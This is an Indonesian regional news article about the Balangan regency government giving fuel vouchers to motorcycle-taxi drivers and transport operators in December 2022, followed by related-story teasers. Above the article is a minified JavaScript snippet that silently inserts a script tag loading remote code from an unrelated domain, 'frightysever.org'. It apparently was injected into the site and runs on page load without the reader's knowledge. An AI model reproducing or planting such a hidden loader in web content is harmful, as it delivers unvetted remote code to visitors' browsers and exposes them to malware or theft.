(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Pemkab Balangan melalui Dinas Perhubungan menyalurkan sebanyak 151 voucher bahan bakar minyak (BBM) kepada ojek daring, ojek pangkalan dan organisasi angkutan darat (Organda) yang bertempat didepan Kantor Dishub Balangan, Selasa (13/12/2022).
Voucher ini dapat ditukarkan dengan BBM pada stasiun pengisian bahan bakar umum (SPBU) yang telah ditentukan.
“Program bantuan sosial seperti ini merupakan upaya pemerintah daerah untuk pengendalian inflasi sesuai dengan petunjuk dan arahan dari Permenkeu,” kata plt Kadishub Balangan, Nurhilaliyah, Selasa (13/12/2022).
Dia melanjutkan, voucher bantuan sosial sendiri berdasarkan Permenkeu RI No.134/PMK.07/2022 tentang Penanganan Dampak Inflasi. Oleh karena itu, pemerintah daerah harus melakukan program kerja guna menekan tingginya inflasi.
Baca juga : Jadi Ibu Kota Kalsel, Sekda Minta Perencanaan Kota Banjarbaru Berskala Nasional
Menurut Nurhilaliyah, bantuan sosial ini juga sebagai bukti bahwa pemerintah daerah selalu hadir untuk menjawab kesulitan yang dihadapi oleh masyarakat.
“Semoga bantuan sosial yang diberikan pemerintah ini dapat bermanfaat bagi masyarakat terutama ojek dan angkutan umum memenuhi kebutuhan BBM di tengah kesulitan ekonomi saat ini,” harap dia.
Sementara salah satu tukang ojek penerima bantuan, Hamdi mengatakan sangat bersyukur dengan adanya bantuan voucher BBM dari pemerintah.
Menurut dia, bantuan tersebut sangatlah bermanfaat karena di samping dapat menghemat untuk membeli BBM juga uangnya dapat disimpan untuk keperluan rumah tangga sehari-hari.
Baca juga : Aksi Kemanusiaan Polres Tanbu-Lazis Assalam Fil Alamin
“Terima kasih kepada pemerintah daerah, semoga bantuan ini dapat terus disalurkan kepada kami di tengah kesulitan ekonomi saat ini,” ucap Hamdi.
Diketahui, penerima bantuan berupa voucher BBM di Kabupaten Balangan tersebut untuk tiga bulan dengan total Rp1,5 juta terhitung dari Oktober sampai Desember 2022. (Kanalkalimantan.com/alfi)
Reporter : alfi
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.